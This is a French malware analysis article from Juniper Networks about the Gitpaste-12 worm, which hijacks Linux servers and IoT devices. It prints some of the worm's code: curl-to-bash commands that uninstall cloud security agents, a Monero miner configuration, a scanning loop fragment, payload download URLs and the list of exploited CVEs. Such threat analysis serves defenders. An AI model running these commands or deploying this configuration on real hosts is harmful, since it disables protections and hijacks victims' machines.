Gitpaste-12 : un malware qui enrôle serveurs Linux et appareils IoT dans son botnet

0
154

Une nouvelle forme de malware ciblant les serveurs Linux et les équipements de l’Internet des objets (IoT) pour les ajouter à un botnet a été découverte par les chercheurs en cybersécurité de Juniper Threat Labs. Bien que l’objectif final du botnet reste à déterminer, cet enrôlement semble être la première étape d’une campagne de piratage ciblant les infrastructures cloud.

Tribune par Ramyan Selvam, Expert Sécurité chez Juniper Networks France – Découvert par les chercheurs en cybersécurité de Juniper Threat Labs, le ver malveillant a été baptisé Gitpaste-12 en raison de son utilisation de GitHub, de Pastebin et de son arsenal de 12 outils de compromission des systèmes. Il dispose en effet d’au moins 12 modules d’attaque différents lui permettant de cibler les serveurs Linux x86 ainsi que les dispositifs IoT fonctionnant sur Linux ARM ou MIPS. Son analyse présente des traces de code de test destiné à d’éventuels futurs modules, ce qui suggère que son développement est en cours

Les premières attaques de GitPaste-12 ont été détectées par le Juniper Threat Labs le 15 octobre 2020. L’URL Pastebin et le dépôt GitHub concernés ont été signalés. Ce dernier a été fermé le 30 octobre 2020 ce qui aurait dû mettre fin à la prolifération de ce ver. Mais deux autres fichiers ont été ajoutés au malware dans les semaines qui ont suivi : un fichier de configuration pour un programme de cryptomining Monero (“config.json”) et un exploit d’escalade de privilèges locaux en UPX pour les systèmes Linux x86_64 (“root_x86_64”).

Voici les caractéristiques du dépôt GitHub utilisé par ce malware au moment de sa découverte :

https://github[.]com/cnmnmsl-001/-

First commit Thu Jul 9 21:07:06 2020

Last commit Oct 27, 2020

Anatomie de Gitpaste-12

La première phase d’une attaque par Gitpaste-12 est la compromission initiale du système. 12 modules d’attaque (détaillés ci-dessous) ont déjà été identifiés dans son code et, vraisemblablement, d’autres sont en cours de développement. Ce ver s’appuie sur des failles connues et documentées pour compromettre les systèmes qu’il cible. Il est également capable de déterminer les mots de passe requis par son hôte via la méthode force brute.

Immédiatement après avoir compromis un système, le malware déploie une tâche planifiée (cron) qu’il télécharge depuis Pastebin, qui à son tour appelle le même script et l’exécute à nouveau chaque minute. Ce mécanisme permet de pousser des mises à jour des tâches planifiées vers le botnet.

Le script shell principal téléchargé pendant l’attaque sur la machine victime commence ensuite à télécharger et exécuter d’autres composants de Gitpaste-12.

Ensuite, il télécharge le script shadu1 depuis GitHub et l’exécute.

Gitpaste-12 commence alors à préparer l’environnement pour l’attaque. Il prive le système de ses défenses et notamment des règles de pare-feu, de selinux, d’apparmor, ainsi que des logiciels les plus courants de surveillance et prévention des attaques.

Le script shadu1 est commenté en Chinois. Il offre différentes commandes à disposition des attaquants, pour désactiver différentes capacités de sécurité des hôtes. L’exemple suivant indique clairement l’intention de cibler l’infrastructure publique cloud d’Alibaba Cloud et Tencent.

curl http://update.aegis.aliyun.com/download/uninstall.sh | bash

curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash

/usr/local/qcloud/stargate/admin/uninstall.sh

/usr/local/qcloud/YunJing/uninst.sh

/usr/local/qcloud/monitor/barad/admin/uninstall.sh

Gitpaste-12 a aussi la capacité de miner du Monero, une cryptomonnaie open source, grâce à la configuration suivante :

{ “background”: true, “log-file”: null, “access-log-file”: null, “retries”: 50, “retry-pause”: 5, “donate-level”: 2, “coin”: “xmr”, “custom-diff”: 0, “syslog”: false, “verbose”: false, “colors”: true, “workers”: true, “pools”: [ { “url”: “donate.v2.xmrig.com:5555”, “user”: “41qALJpqLhUNCHZTMSMQyf4LQotae9MZnb4u53JzqvHEWyc2i8PEFUCZ4TGL9AGU34ihPU8QGbRzc4FB2nHMsVeMHaYkxus”, “pass”: “x” } ], “bind”: [ “0.0.0.0:12388” ], “api”: { “port”: 0, “access-token”: null, “worker-id”: null }}

Le ver contient la bibliothèque hide.so et est chargé sous le nom de LD_PRELOAD. Hide.so met à jour le fichier crontab pour télécharger et exécuter https://pastebin[.]com/raw/Tg5FQHhf. Il empêche également les administrateurs de recueillir des informations sur les processus en cours d’exécution en interceptant les appels système à “readdir” et en ignorant des catégories de processus comme tcpdump, sudo, openssl, etc. dans “/proc”. Le répertoire Linux “/proc” contient des informations sur les processus en cours d’exécution. Il est par exemple utilisé, par la commande “ps”.

Capacité de propagation

Le malware Gitpaste-12 contient également un script qui lance des attaques contre d’autres machines, dans le but de se répliquer et de se propager. Il choisit un CIDR /8 aléatoires pour l’attaque et essaie toutes les adresses comprises dans cette plage, comme le démontre cette séquence :

while true;do awk -va=\$((\$RANDOM%128)) ‘BEGIN{for(b=0;256>b;b++) for(c=0;256>c;c++) for(d=0;256>d;d++) system(\”./sh \”a\”.\”d\”.\”c\”.\”b\”

Dans cette capture, on peut observer les tentatives de propagation du ver :

Une autre version du script ouvre également les ports 30004 et 30005 pour les commandes shell inversé :

Failles exploitées

Gitpaste-12 utilise 11 vulnérabilités et un outil de force brute Telnet pour arriver à ses fins. Les vulnérabilités en question sont les suivantes :

CVE-2017-14135

 Webadmin plugin for opendreambox

CVE-2020-24217

 HiSilicon based IPTV/H.264/H.265 video encoders

CVE-2017-5638

 Apache Struts

CVE-2020-10987

 Tenda router

CVE-2014-8361

 Miniigd SOAP service in Realtek SDK

CVE-2020-15893

 UPnP in dlink routers

CVE-2013-5948

 Asus routers

EDB-ID: 48225

 Netlink GPON Router

EDB-ID: 40500

 AVTECH IP Camera

CVE-2019-10758

 Mongo db

CVE-2017-17215

 (Huawei router)

Dans les versions plus récentes du malware, le fichier de configuration utilise l’adresse Monero 41qALJpqLhUNCHZTMSMQyf4LQotae9MZnb4u53JzqvHEWyc2i8PEFUCZ4TGL9AGU34ihPU8QGbRzc4FB2nHMsVeMHaYkxus, la même que celle utilisée lors des attaques d’octobre.

Fichier de configuration du Cryptominer

Parmi les nouveaux échantillons trouvés dans le dépôt d’attaque initial, on désormais trouve un binaire UPX, appelé X10-unix, écrit dans le langage de programmation Go et compilé pour les systèmes Linux x86_64.

Schéma de l’attaque

L’exemple commence par tenter de télécharger une sélection de charges utiles à partir du dépôt aujourd’hui fermé.

http://raw.githubusercontent.com/cnmnmsl-001/-/master/shadu1

http://raw.githubusercontent.com/cnmnmsl-001/-/master/base64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/sudob64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/X11-unix

http://raw.githubusercontent.com/cnmnmsl-001/-/master/config.json

http://raw.githubusercontent.com/cnmnmsl-001/-/master/X10-unixb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/X10-unix.exeb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/X10-unix_mipsb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/X10-unix_armb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/ssb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/ss.exeb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/ss_mipsb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/ss_armb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/hideb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/hide_armb64

http://raw.githubusercontent.com/cnmnmsl-001/-/master/mipsld.so

Le suffixe “b64” indique un fichier qui a été encodé en base64 dans un fichier texte ASCII pour être utilisé comme charge utile d’exploitation. On peut voir que X10-unix est multiplateforme, et inclut des versions pour les machines MIPS et ARM Linux, ainsi que pour Windows.

Le ver lance ensuite une vaste série d’attaques comprenant au moins 31 vulnérabilités connues – dont sept ont également été observées dans l’échantillon précédent de Gitpaste-12 . Il tente également d’exploiter les connexions ouvertes du pont de débogage Android (Android Debug Bridge) ainsi que les portes dérobées des logiciels malveillants existants. Les attaques visent – entre autres – les applications web, les caméras IP et les routeurs.

Si les attaques X10-unix varient en fonction du système d’exploitation et de l’architecture du système cible, chacune tente de faire trois choses :

  • Installer le logiciel de cryptomining Monero.
  • Installer la version appropriée du ver X10-unix.

Ouvrir une porte dérobée d’écoute sur les ports 30004 et 30006 et télécharger l’adresse IP de la victime dans un Pastebin privé.

Le backdoor est mis en œuvre par un “ss” binaire UPX, également écrit en Go, avec des variantes compilées pour des architectures Windows et Linux multiples. Ce programme détermine d’abord à l’aide de myexternalip.com l’adresse IP externe de l’ordinateur, télécharge cette adresse sous la forme d’un nom de fichier privé Pastebin, puis lance des écoutes TCP sur les ports 30004 et 30006.

En plus des vulnérabilités connues ci-dessus, X10-unix tente de se connecter aux connexions du pont de débogage Android sur le port 5555.

Une fois la connexion établie, X10-unix exécute un script qui télécharge un binaire natif (“blu”) et un APK Android (“weixin.apk”), tous deux codés en base64. Blu sonde le matériel bluetooth de l’appareil et installe l’APK. L’APK télécharge l’adresse IP de l’appareil vers Pastebin, puis télécharge et installe un port CPU ARM de X10-unix. Une tentative similaire est effectuée pour installer des charges utiles sur des portes dérobées existantes qui écoutent sur le port 1337.

Bien qu’il soit difficile de déterminer l’ampleur ou l’efficacité de cette campagne de malware, en partie parce que Monero – contrairement à Bitcoin – n’a pas de transactions publiquement traçables, Juniper peut confirmer que plus d’une centaine d’hôtes distincts propageant l’infection ont été observés.

« Aucun malware n’est particulièrement plaisant, mais les vers sont particulièrement problématiques. Leur capacité à se déplacer de manière automatisée peut entraîner une propagation latérale au sein d’une organisation ou amener des systèmes à en infecter d’autres à travers Internet ce qui peut nuire à la réputation des organisations. » explique Ramyan Selvam, Expert Sécurité chez Juniper Networks. « Dans un contexte où les menaces évoluent en permanence et où de nouveaux malwares voient régulièrement le jour, les systèmes de surveillance comportementale du réseau et les mécanismes de sécurité connectée deviennent essentiels. »

Les clients de Juniper Connected Security qui utilisent SRX IDP et Juniper ATP Cloud sont protégés contre Gitpaste-12.